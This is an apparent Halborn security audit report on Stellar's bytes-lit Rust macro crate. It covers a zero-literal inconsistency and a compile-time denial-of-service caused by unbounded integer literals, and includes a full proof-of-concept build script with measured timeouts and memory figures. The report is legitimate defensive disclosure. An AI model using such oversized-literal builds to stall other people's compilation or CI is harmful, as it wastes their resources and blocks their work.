bytes-lit

Stellar

HALBORN

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ABOUT THIS REPORT

ASSESSMENT TYPE
Assurance Assessment

DATE OF ENGAGEMENT
Feb 9, 2026 - Mar 7, 2026

SOURCE CODE
bytes-lit

ASSESSED COMMIT ID
757dadb

SEVERITY BREAKDOWN

2	1	1	0
All Findings	Solved	Acknowledged	Risk Accepted

INTRODUCTION

This security assessment was commissioned by **Stellar**, a blockchain network designed to facilitate fast, low-cost cross-border payments and asset transfers.

The review was conducted by Halborn's experienced security team, focusing on the Rust procedural macro crate in the bytes-lit repository, specifically the `bytes!` and `bytesmin!` macros and their supporting encoding logic—corresponding to the v0.0.5 release (commit 757dadb), from February 9th, 2026 to March 6th, 2026.

ASSESSMENT SUMMARY

The team at Halborn assigned a full-time security engineer to verify the security of the Rust procedural macro crate. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Evaluate the proc-macro expansion logic for denial-of-service risks and unsafe failure modes during compilation.
- Verify correctness and consistency of byte-encoding semantics across supported literal formats and edge cases.
- Assess developer-facing error handling to ensure failures are deterministic, actionable, and do not crash the compiler process.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were addressed by the `Stellar team`. The main recommendations were the following:

- `Add explicit upper bounds on accepted literal size/output length during macro expansion and emit clear compile_error! diagnostics when exceeded.`
- `Replace panic-grade overflow paths (e.g., expect("overflow")) with graceful checked error handling to prevent hard build failures from proc-macro panics.`
- `Fix and document edge-case behavior (notably zero-handling) to ensure bytes! and bytesmin! are consistent and predictable.`

TEST APPROACH AND METHODOLOGY

A layered review approach was followed using the artifacts supplied in the repository and accompanying documentation. The sequence of work was as follows:

- Review repository documentation and intended macro semantics for `bytes!` and `bytesmin!`, including format-specific behavior (hex/binary leading zeros).
- Perform manual source-code review of proc-macro entrypoints and parsing/encoding paths, focusing on user-controlled input size and allocation behavior.
- Analyze resource consumption characteristics of big-integer parsing, intermediate allocations, and token generation during macro expansion.
- Reproduce and validate compile-time DoS behavior using a dedicated proof-of-concept that generates large literals and measures build-time/resource impact.
- Evaluate edge cases and failure modes (including overflow handling and zero-literal behavior) and map issues to actionable remediation guidance.

Risk Methodology

Halborn assesses the severity of findings using either the Common Vulnerability Scoring System (CVSS) framework or the Impact/Likelihood Risk scale, depending on the engagement. CVSS is an industry standard framework for communicating characteristics and severity of vulnerabilities in software. Details can be found in the CVSS Specification Document published by F.I.R.S.T.

Vulnerabilities or issues observed by Halborn scored on the Impact/Likelihood Risk scale are measured by the LIKELIHOOD of a security incident and the IMPACT should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

Scope

REPOSITORY

(a) Repository: bytes-lit

(b) Assessed Commit ID: 757dadbb1d7db462a37dfbecb0fa3727f8d9c513

(c) Items in scope:

- src 3 files
  - bytes.rs Rust
  - bytesmin.rs Rust
  - lib.rs Rust

REMEDIATION COMMIT ID:

35305b58d6869885aa7a1f22a0f75f1f9642f3ec

9da09730eefa71983d99d2d9ecb179d29373f6c3

Out-of-Scope: New features/implementations after the remediation commit IDs.

Assessment Summary & Findings Overview

#	TITLE	SEVERITY	SCORE	STATUS
HAL-001	Zero Literal Rejection in bytes! Macro Creates Build Errors and Inconsistent Behavior with bytesmin!	Low	3.3	SOLVED 02/23/2026
HAL-002	Compile-time resource exhaustion (DoS) via unbounded integer literal size in bytes! and bytesmin!	Informational	—	ACKNOWLEDGED 07/02/2026

Findings & Tech Details

HAL-001 SOLVED

Zero Literal Rejection in bytes! Macro Creates Build Errors and Inconsistent Behavior with bytesmin!

Low · 3.3 AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

DESCRIPTION

`bytes_lit::bytes!` and `bytes_lit::bytesmin!` handle the decimal zero literal inconsistently: `bytes!(0)` is rejected as an unsupported “leading zero” in decimal form, while `bytesmin!(0)` successfully expands to an encoded byte array.

Code Location

Specific instances of this vulnerability pattern include:

Instance A — Build failure: `bytes!(0)` (and `bytes!(0u*)`) is rejected due to decimal/octal leading-zero handling, even though `0` is a valid integer literal.

RUST 33-58

```rust
let (form, bits_per_zero_digit, remainder) = match normalized.as_bytes() {
    [b'0', b'x', r @ ..] => ("hex", Some(4), r),
    [b'0', b'b', r @ ..] => ("binary", Some(1), r),
    [b'0', b'o', r @ ..] => ("octal", None, r),
    [r @ ..] => ("decimal", None, r),
};

// Count the leading zero bits by counting the number of leading zeros and
// multiplying by the bits per digit.
let leading_zero_count = remainder.iter().take_while(|d| **d == b'0').count();
let leading_zero_bits = if let Some(bits_per_digit) = bits_per_zero_digit {
    leading_zero_count
        .checked_mul(bits_per_digit)
        .expect("overflow")
} else if leading_zero_count > 0 {
    return Error::new(
        lit.span(),
        format!(
            "leading zeros are not preserved or supported on integer literals in {} form",
            form,
        ),
    )
    .to_compile_error();
} else {
    0
};
```

Instance B — Inconsistent behavior: `bytesmin!(0)` expands successfully (commonly to `[0u8]`), in contrast to `bytes!(0)` which errors.

RUST 8–19

```rust
pub fn bytesmin(input: TokenStream2) -> TokenStream2 {
    let lit = match syn::parse2::<LitInt>(input) {
        Ok(lit) => lit,
        Err(e) => return e.to_compile_error(),
    };
    let int = match BigUint::from_str(lit.base10_digits()) {
        Ok(int) => int,
        Err(_) => return Error::new(lit.span(), "negative values unsupported").to_compile_error(),
    };
    let bytes = int.to_bytes_be();
    quote! { [#(#bytes),*] }
}
```

Impact

A developer (or attacker influencing code being compiled) can trigger a localized build failure by using `bytes!(0)` in otherwise-valid contexts, and the inconsistency increases the risk of mistaken assumptions when switching between the two macros.

RECOMMENDATION

To mitigate this issue, we recommend the following actions:

- Special-case the decimal zero literal in `bytes!` so that `bytes!(0)` and `bytes!(0u*)` emit `[0u8]` (and ensure `0o0` behaves consistently if octal “0” is considered acceptable).
- Document the expected encoding of zero for both macros `bytes!` and `bytesmin!` to avoid caller confusion.

REMEDIATION COMMENT

Addressed in: 35305b58d6869885aa7a1f22a0f75f1f9642f3ec

SOLVED: The **Stellar team** solved this finding by restricting both `bytes!` and `bytesmin!` to hex (`0x`) and binary (`0b`) literals, so `0` as a decimal input is now always rejected with a clear compile-time error, rather than having inconsistent behavior between the two macros.

HAL-002 ACKNOWLEDGED

Compile-time resource exhaustion (DoS) via unbounded integer literal size in bytes! and bytesmin!

● Informational · AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:N

DESCRIPTION

`bytes_lit::bytes!` and `bytes_lit::bytesmin!` accept integer literals of unbounded size. During proc-macro expansion, the literals are parsed into `BigUint`, intermediate allocations are performed, and token generation is conducted proportional to the requested output size.

Code Location

Specific instances of this vulnerability pattern include:
Instance A — Memory/CPU exhaustion and large token streams: excessively large literals trigger expensive `BigUint` parsing and large allocations, and are expanded into an array literal that produces one token per byte.

RUST 31–51

```rust
pub fn bytes(input: TokenStream2) -> TokenStream2 {
    let lit = match syn::parse2::<LitInt>(input) {
        Ok(lit) => lit,
        Err(e) => return e.to_compile_error(),
    };
    // ...
    let int = match BigUint::from_str(lit.base10_digits()) {
        Ok(int) => int,
        Err(_) => return Error::new(lit.span(), "negative values unsupported").to_compile_error(),
    };
    // ...
    let int_bits: usize = int.bits().try_into().expect("overflow");
    let int_bytes = int.to_bytes_be();
    let int_len = int_bytes.len();
    let total_bits = leading_zero_bits.checked_add(int_bits).expect("overflow");
    let total_len = (total_bits.checked_add(7).expect("overflow")) / 8;
    let mut total_bytes: Vec<u8> = vec![0; total_len];
    total_bytes[total_len - int_len..].copy_from_slice(&int_bytes);

    quote! { [#(#total_bytes),*] }
}
```

RUST 8–19

```rust
pub fn bytesmin(input: TokenStream2) -> TokenStream2 {
    let lit = match syn::parse2::<LitInt>(input) {
        Ok(lit) => lit,
        Err(e) => return e.to_compile_error(),
    };
    let int = match BigUint::from_str(lit.base10_digits()) {
        Ok(int) => int,
        Err(_) => return Error::new(lit.span(), "negative values unsupported").to_compile_error(),
    };

```

```
    let bytes = int.to_bytes_be();
    quote! { [#(#bytes),*] }
}
```

Instance B — Panic-driven DoS via overflow: for sufficiently large inputs, `bytes!` may encounter `usize` or checked-arithmetic overflow paths and then fail compilation due to `expect("overflow")`, causing a proc-macro panic and hard compilation failure.

SH

```
bytes-lit-0.0.5 ❯ rg -F 'expect("overflow")'
src/bytes.rs
46:            .expect("overflow")
65:    let int_bits: usize = int.bits().try_into().expect("overflow");
68:    let total_bits = leading_zero_bits.checked_add(int_bits).expect("overflow");
69:    let total_len = (total_bits.checked_add(7).expect("overflow")) / 8;
```

Impact

A single large literal can exhaust hundreds of MB of RAM and cause multi-minute compile timeouts with no documented limit. Impact is confined to compile-time; exploitation requires code authoring or dependency injection access, limiting the practical security risk.

PROOF OF CONCEPT

Code

The PoC code has been added to the `poc/compile-time-dos/run.sh` file:

SH

```
#!/usr/bin/env bash
set -euo pipefail

#
# Compile-time DoS PoC harness for bytes-lit
# ------------------------------------------
# This script demonstrates how a *single huge integer literal* passed to
# `bytes_lit::bytesmin!` / `bytes_lit::bytes!` can cause disproportionate
# compile-time resource usage (time + memory) during proc-macro expansion.
#
# What it does (high-level):
# - creates a temporary Rust binary crate
# - adds a path dependency on THIS local bytes-lit checkout
# - generates `src/main.rs` containing a hex literal with N bytes (0xFF..FF)
# - runs `cargo build`, optionally measuring and enforcing safety limits
#
# Safety knobs (env vars):
# - TIMEOUT_SECONDS: wall-clock timeout for the build (recommended)
# - CPU_LIMIT_SECONDS: CPU time limit via ulimit (best-effort)
# - VMEM_LIMIT_KB: virtual memory cap via ulimit (best-effort)
# - MAX_NBYTES / ALLOW_LARGE: guard against accidentally huge inputs
# - MEASURE=0: disable `/usr/bin/time` and sampling output
#
```

```
# --- Parse CLI arguments (macro + target output size) ------------------------
macro="${1:-bytesmin}"
nbytes="${2:-50000}"

if [[ "${macro}" != "bytesmin" && "${macro}" != "bytes" ]]; then
  echo "usage: $0 <macro: bytesmin|bytes> <nbytes>"
  exit 2
fi

if ! [[ "${nbytes}" =~ ^[0-9]+$ ]]; then
  echo "error: nbytes must be a positive integer"
  exit 2
fi

if [[ "${nbytes}" -le 0 ]]; then
  echo "error: nbytes must be > 0"
  exit 2
fi

# --- Safety guard: prevent accidental huge builds ----------------------------
max_nbytes="${MAX_NBYTES:-1000000}"
if ! [[ "${max_nbytes}" =~ ^[0-9]+$ ]]; then
  echo "error: MAX_NBYTES must be an integer (got '${MAX_NBYTES}')" >&2
  exit 2
fi
if [[ "${nbytes}" -gt "${max_nbytes}" && "${ALLOW_LARGE:-}" != "1" ]]; then
  echo "error: nbytes=${nbytes} exceeds MAX_NBYTES=${max_nbytes} (safety guard)." >&2
  echo "hint: set ALLOW_LARGE=1 to override, or raise MAX_NBYTES." >&2
  exit 2
fi

# --- Resolve repo root + create a temp workspace -----------------------------
root_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"

tmpdir="$(mktemp -d 2>/dev/null || mktemp -d -t bytes_lit_dos_poc)"
cleanup() {
  rm -rf "${tmpdir}" || true
}
trap cleanup EXIT

# --- Choose the Rust toolchain / cargo invocation ----------------------------
toolchain="${RUSTUP_TOOLCHAIN:-stable}"
if command -v rustup >/dev/null 2>&1; then
  if ! rustup run "${toolchain}" cargo --version >/dev/null 2>&1; then
    echo "error: rust toolchain '${toolchain}' is not installed." >&2
    echo "hint: install it with: rustup toolchain install ${toolchain}" >&2
    exit 1
  fi
  cargo_cmd=(rustup run "${toolchain}" cargo)
else
  cargo_cmd=(cargo)
fi

# --- Configure measurement + reporting ---------------------------------------
# When TIMEOUT_SECONDS is set, we additionally print a sampling-based peak RSS
# estimate so you still get useful numbers even if the build is killed.
measure="${MEASURE:-1}"
time_cmd=()
time_out=""
if [[ "${measure}" != "0" ]]; then
  if [[ -x "/usr/bin/time" ]]; then
    time_cmd=(/usr/bin/time)
    if [[ "$(uname -s)" == "Darwin" ]]; then
      # -l prints: "maximum resident set size" and other useful stats on macOS.
      time_cmd+=( -l )
    else
      # GNU time typically supports -v; if this fails, run with MEASURE=0.
      time_cmd+=( -v )
    fi
    time_out="${tmpdir}/time.txt"
```

```
    # Prefer writing stats to a file (keeps output readable).
    time_cmd+=( -o "${time_out}" )
  else
    echo "warning: /usr/bin/time not found; run with MEASURE=0 to silence." >&2
  fi
fi

# --- Optional safety limits -------------------------------------------------
cpu_limit="${CPU_LIMIT_SECONDS:-}"
vmem_limit_kb="${VMEM_LIMIT_KB:-}"
timeout_seconds="${TIMEOUT_SECONDS:-}"

# --- Create a temporary crate and wire it to the local bytes-lit ------------
cd "${tmpdir}"
"${cargo_cmd[@]}" init --quiet --bin dos-poc
cd "dos-poc"

# Add a path dependency on the local proc-macro crate.
python3 - "${root_dir}" <<'PY'
import pathlib
import sys

root_dir = pathlib.Path(sys.argv[1]).resolve()
cargo_toml = pathlib.Path("Cargo.toml")
txt = cargo_toml.read_text(encoding="utf-8")

dep = f'\n[dependencies]\nbytes-lit = {{ path = "{root_dir.as_posix()}" }}\n'
if "[dependencies]" in txt:
    # Replace the (empty) [dependencies] section written by cargo init.
    # This is intentionally simple for the PoC.
    lines = txt.splitlines(True)
    out = []
    i = 0
    while i < len(lines):
        out.append(lines[i])
        if lines[i].strip() == "[dependencies]":
            # Drop any subsequent blank lines directly after [dependencies]
            i += 1
            while i < len(lines) and lines[i].strip() == "":
                i += 1
            # Insert our dependency and continue
            out.append(f'bytes-lit = {{ path = "{root_dir.as_posix()}" }}\n')
            continue
        i += 1
    cargo_toml.write_text("".join(out), encoding="utf-8")
else:
    cargo_toml.write_text(txt + dep, encoding="utf-8")
PY

# --- Generate Rust source that triggers the proc-macro work -----------------
# Generate a main.rs that forces an N-byte expansion.
# We use a hex literal with N bytes of 0xFF to force the output to be exactly N bytes.
python3 - "${macro}" "${nbytes}" <<'PY'
import sys

macro = sys.argv[1]
n = int(sys.argv[2])

hex_digits = "ff" * n
literal = "0x" + hex_digits
macro_invocation = f"bytes_lit::{macro}!"

src = f"""\
// Generated PoC for compile-time DoS via bytes-lit macros.
// macro: {macro}
// requested bytes: {n}
//
// WARNING: Increasing this value can severely slow builds or exhaust memory.

// bytes-lit crate name uses a dash, but the Rust path uses underscore.
static BYTES: &[u8] = &{macro_invocation}({literal});
```

```
fn main() {{
    // Ensure BYTES is actually referenced so the compiler can't trivially elide it.
    println!("generated {{}} bytes", BYTES.len());
}}
"""

with open("src/main.rs", "w", encoding="utf-8") as f:
    f.write(src)
PY

# --- Run the build (with optional limits + timeout) --------------------------
echo "Building PoC crate in: ${tmpdir}/dos-poc"
echo "Macro: ${macro}  nbytes: ${nbytes}"
echo "Toolchain: ${toolchain}"
if [[ -n "${cpu_limit}" ]]; then
  echo "CPU_LIMIT_SECONDS: ${cpu_limit}"
fi
if [[ -n "${vmem_limit_kb}" ]]; then
  echo "VMEM_LIMIT_KB: ${vmem_limit_kb}"
fi
if [[ -n "${timeout_seconds}" ]]; then
  echo "TIMEOUT_SECONDS: ${timeout_seconds}"
fi
echo "Note: if this is too slow, re-run with a smaller nbytes."
echo

if [[ -n "${cpu_limit}" ]]; then
  if ! [[ "${cpu_limit}" =~ ^[0-9]+$ ]]; then
    echo "error: CPU_LIMIT_SECONDS must be an integer" >&2
    exit 2
  fi
  ulimit -t "${cpu_limit}" || true
fi
if [[ -n "${vmem_limit_kb}" ]]; then
  if ! [[ "${vmem_limit_kb}" =~ ^[0-9]+$ ]]; then
    echo "error: VMEM_LIMIT_KB must be an integer" >&2
    exit 2
  fi
  # Virtual memory limit (KB). Support varies by OS/shell; ignore failures.
  ulimit -v "${vmem_limit_kb}" || true
fi

build_cmd=("${cargo_cmd[@]}" build)

if [[ -n "${timeout_seconds}" ]]; then
  if ! [[ "${timeout_seconds}" =~ ^[0-9]+$ ]]; then
    echo "error: TIMEOUT_SECONDS must be an integer" >&2
    exit 2
  fi
  # Use python to enforce a wall-clock timeout and sample RSS so we still get
  # a resource estimate even if we have to kill the build.
  python3 - "${timeout_seconds}" "${measure}" "${time_out}" "${time_cmd[@]}" --
"${build_cmd[@]}" <<'PY'
import os
import signal
import subprocess
import sys
import time

timeout = int(sys.argv[1])
measure = sys.argv[2] != "0"
time_out = sys.argv[3]

# Args are: <timeout> <measure> <time_out> <time_cmd...> -- <build_cmd...>
argv = sys.argv[4:]
if "--" not in argv:
    raise SystemExit("internal error: missing -- separator")
sep = argv.index("--")
time_cmd = argv[:sep]
build_cmd = argv[sep+1:]
```

```
cmd = build_cmd
if measure and time_cmd:
    cmd = time_cmd + build_cmd

proc = subprocess.Popen(cmd, preexec_fn=os.setsid)
pgid = os.getpgid(proc.pid)

def sample_pgrp_rss_kb(pgid: int) -> int:
    """
    Best-effort: sum RSS (KB) for processes in the same process group.
    Works on macOS with: ps -o rss= -g <pgid>
    """
    try:
        out = subprocess.check_output(["ps", "-o", "rss=", "-g", str(pgid)], text=True)
    except Exception:
        return 0
    total = 0
    for line in out.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            total += int(line)
        except ValueError:
            pass
    return total

start = time.time()
peak_rss_kb = 0

def print_summary(prefix: str, exit_code: int) -> None:
    elapsed = time.time() - start
    # Peak RSS in MB (approx; rss= is KB on macOS ps)
    peak_mb = peak_rss_kb / 1024.0
    print()
    print("Resource summary (sampling; works even on timeout):")
    print("---------------------------------------")
    print(f"status: {prefix}")
    print(f"exit_code: {exit_code}")
    print(f"elapsed_seconds: {elapsed:.2f}")
    print(f"peak_process_group_rss_mb: {peak_mb:.1f}")
    if measure and time_out:
        print(f"time_output_file: {time_out}")

try:
    while True:
        # Sample RSS while the build runs.
        rss = sample_pgrp_rss_kb(pgid)
        if rss > peak_rss_kb:
            peak_rss_kb = rss

        rc = proc.poll()
        if rc is not None:
            print_summary("finished", rc)
            raise SystemExit(rc)

        if time.time() - start > timeout:
            raise subprocess.TimeoutExpired(cmd, timeout)

        time.sleep(0.25)
except subprocess.TimeoutExpired:
    # Try graceful first so wrappers (like /usr/bin/time) can flush output.
    try:
        os.killpg(proc.pid, signal.SIGTERM)
    except Exception:
        pass
    time.sleep(1.0)
    try:
        os.killpg(proc.pid, signal.SIGKILL)
    except Exception:
```

```
        pass
    # One last sample after kill attempt.
    rss = sample_pgrp_rss_kb(pgid)
    if rss > peak_rss_kb:
        peak_rss_kb = rss
    print_summary(f"timed_out_after_{timeout}s", 124)
    raise SystemExit("error: build timed out after %ss" % timeout)
PY
else
  if [[ "${measure}" != "0" && ${#time_cmd[@]} -gt 0 ]]; then
    "${time_cmd[@]}" "${build_cmd[@]}"
  else
    "${build_cmd[@]}"
  fi
fi

# --- Print `/usr/bin/time` report if it exists --------------------------------
if [[ -n "${time_out}" && -f "${time_out}" ]]; then
  echo
  echo "Resource summary (from $(basename "${time_cmd[0]}")):"
  echo "---------------------------------------"
  cat "${time_out}"
fi
```

Execution

We run `TIMEOUT_SECONDS=60 ./poc/compile-time-dos/run.sh bytesmin <nbytes>` to generate a temporary crate whose `main.rs` invokes `bytes_lit::bytesmin!` on a hex literal sized to force `<nbytes>` output bytes, then attempt to compile it under a fixed wall-clock limit while measuring peak RSS.

SH

```
for n in 20000 50000 100000 150000 200000; do
  echo "=== nbytes=$n ==="
  TIMEOUT_SECONDS=60 ./poc/compile-time-dos/run.sh bytesmin "$n" || true
done
```

Result

SH

```
=== nbytes=20000 ===
Building PoC crate in: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.FLnFnBw4cD/dos-
poc
Macro: bytesmin  nbytes: 20000
Toolchain: stable
TIMEOUT_SECONDS: 60
Note: if this is too slow, re-run with a smaller nbytes.
Resource summary (sampling; works even on timeout):
---------------------------------------
status: finished
exit_code: 0
elapsed_seconds: 29.45
peak_process_group_rss_mb: 465.7
time_output_file: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.FLnFnBw4cD/time.txt

Resource summary (from time):
---------------------------------------
       29.23 real        42.13 user         2.38 sys
           357429248  maximum resident set size
```

```
                  0  average shared memory size
                  0  average unshared data size
                  0  average unshared stack size
             749608  page reclaims
                 93  page faults
                  0  swaps
                  0  block input operations
                  0  block output operations
                 30  messages sent
                 67  messages received
                 18  signals received
                121  voluntary context switches
             107717  involuntary context switches
         1276097624  instructions retired
          671727654  cycles elapsed
           15718336  peak memory footprint
=== nbytes=50000 ===
Building PoC crate in: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.T7xUNcDu9v/dos-
poc
Macro: bytesmin  nbytes: 50000
Toolchain: stable
TIMEOUT_SECONDS: 60
Note: if this is too slow, re-run with a smaller nbytes.
Resource summary (sampling; works even on timeout):
----------------------------------------
status: timed_out_after_60s
exit_code: 124
elapsed_seconds: 61.11
peak_process_group_rss_mb: 498.7
time_output_file: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.T7xUNcDu9v/time.txt
error: build timed out after 60s
=== nbytes=100000 ===
Building PoC crate in: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.9jeYhDPddJ/dos-
poc
Macro: bytesmin  nbytes: 100000
Toolchain: stable
TIMEOUT_SECONDS: 60
Note: if this is too slow, re-run with a smaller nbytes.
Resource summary (sampling; works even on timeout):
----------------------------------------
status: timed_out_after_60s
exit_code: 124
elapsed_seconds: 61.09
peak_process_group_rss_mb: 468.1
time_output_file: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.ldHafqeTvT/time.txt
error: build timed out after 60s
=== nbytes=200000 ===
Building PoC crate in: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.TWSqXAD0ey/dos-
poc
Macro: bytesmin  nbytes: 200000
Toolchain: stable
TIMEOUT_SECONDS: 60
Note: if this is too slow, re-run with a smaller nbytes.
Resource summary (sampling; works even on timeout):
----------------------------------------
status: timed_out_after_60s
exit_code: 124
elapsed_seconds: 61.09
peak_process_group_rss_mb: 489.5
time_output_file: /var/folders/65/kh8rwm8n51b2cs929k30kmv40000gp/T/tmp.TWSqXAD0ey/time.txt
error: build timed out after 60s
```

Analysis

At `nbytes` **=20000** the build completes **(~29s)**, but increasing the literal to **>=50000** bytes consistently causes compilation to exceed the 60s limit (timeouts) while reaching ~hundreds of MB

peak resident memory—demonstrating a practical compile-time DoS vector controlled solely by literal size.

RECOMMENDATION

To mitigate this issue, we recommend the following improvements:

- Add explicit upper bounds during macro expansion (e.g., maximum digit count and/or maximum output length in bytes) and return a clear `compile_error!` when exceeded.
- Replace panic-grade paths `expect("overflow")`) with graceful checked error handling to avoid “proc macro panicked” hard failures.
- Document supported size limits and recommend file-based embedding (e.g., `include_bytes!`) for large constants.

REMEDIATION COMMENT

Addressed in: 9da09730eefa71983d99d2d9ecb179d29373f6c3

ACKNOWLEDGED: The **Stellar team** acknowledged this finding and addressed it by documenting the associated risk and its implications without implementing any technical mitigation.

Disclaimer

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.